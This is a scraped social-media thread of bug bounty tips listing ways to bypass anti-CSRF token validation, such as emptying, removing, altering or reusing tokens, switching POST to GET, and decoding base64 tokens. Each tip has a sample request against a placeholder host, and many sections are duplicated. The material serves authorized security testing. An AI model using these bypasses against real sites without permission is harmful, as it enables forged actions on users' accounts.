Bypass CSRF🔥#bugbountytips
➡Change single character
➡Sending empty value of token
➡Replace the token with same length
➡Changing POST / GET method
➡Remove the token from request
➡Use another user's valid token
➡Try to decrypt hash
#bugbounty #infosec
More in Detail :👇
➡Change single character
➡Sending empty value of token
➡Replace the token with same length
➡Changing POST / GET method
➡Remove the token from request
➡Use another user's valid token
➡Try to decrypt hash
#bugbounty #infosec
More in Detail :👇
▪ Change single character of Parameter token #bugbounty #CSRF
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=aaaaaaaaab
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=aaaaaaaaab
▪ Sending empty value of token #bugbounty #bugboutnytips #CSRF
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=
▪ Replace the token with same length
. . . #bugbounty #bugbountytips #infosec
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaa
To
username=dapos&password=123456&token=aaabaa
. . . #bugbounty #bugbountytips #infosec
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaa
To
username=dapos&password=123456&token=aaabaa
▪ Changing POST / GET method #bugbounty
. . . #bugbountytips #infosec
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
GET /register HTTP/1.1
. . . #bugbountytips #infosec
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
GET /register HTTP/1.1
▪ Remove the whole token parameter from request
. . . #bugbounty #CSRF
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456
. . . #bugbounty #CSRF
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456
▪ Use another user's valid token #bugbounty #bugbountytips #CSRF
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=bbbbbbbbbb
. . .
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaa
To
username=dapos&password=123456&token=bbbbbbbbbb
▪ Try to decrypt hash #bugbounty #CSRF
Decrypt value of the token hash contain sensitive info
Like :
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=MTIzNDU2
MTIzNDU2 => 123456 with base64
Decrypt value of the token hash contain sensitive info
Like :
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=MTIzNDU2
MTIzNDU2 => 123456 with base64
▪ [IMP] Sometimes anti-CSRF token is composed in 2 parts, one remains static while other dynamic
Like :
token=asdf123
resend again, the request like this
token=asdf124
If you notice "asdf" part of the token remain same, you just need to send with only static part #CSRF
Like :
token=asdf123
resend again, the request like this
token=asdf124
If you notice "asdf" part of the token remain same, you just need to send with only static part #CSRF
Thanks You To Read😃👍
Hope you like these all | Do Follow For More
&
Checkout my bugbountytips cybersecurity telegram Group :
t.me/bugbountyresou…
Hope you like these all | Do Follow For More
&
Checkout my bugbountytips cybersecurity telegram Group :
t.me/bugbountyresou…
• • •
Missing some Tweet in this thread? You can try to
force a refresh
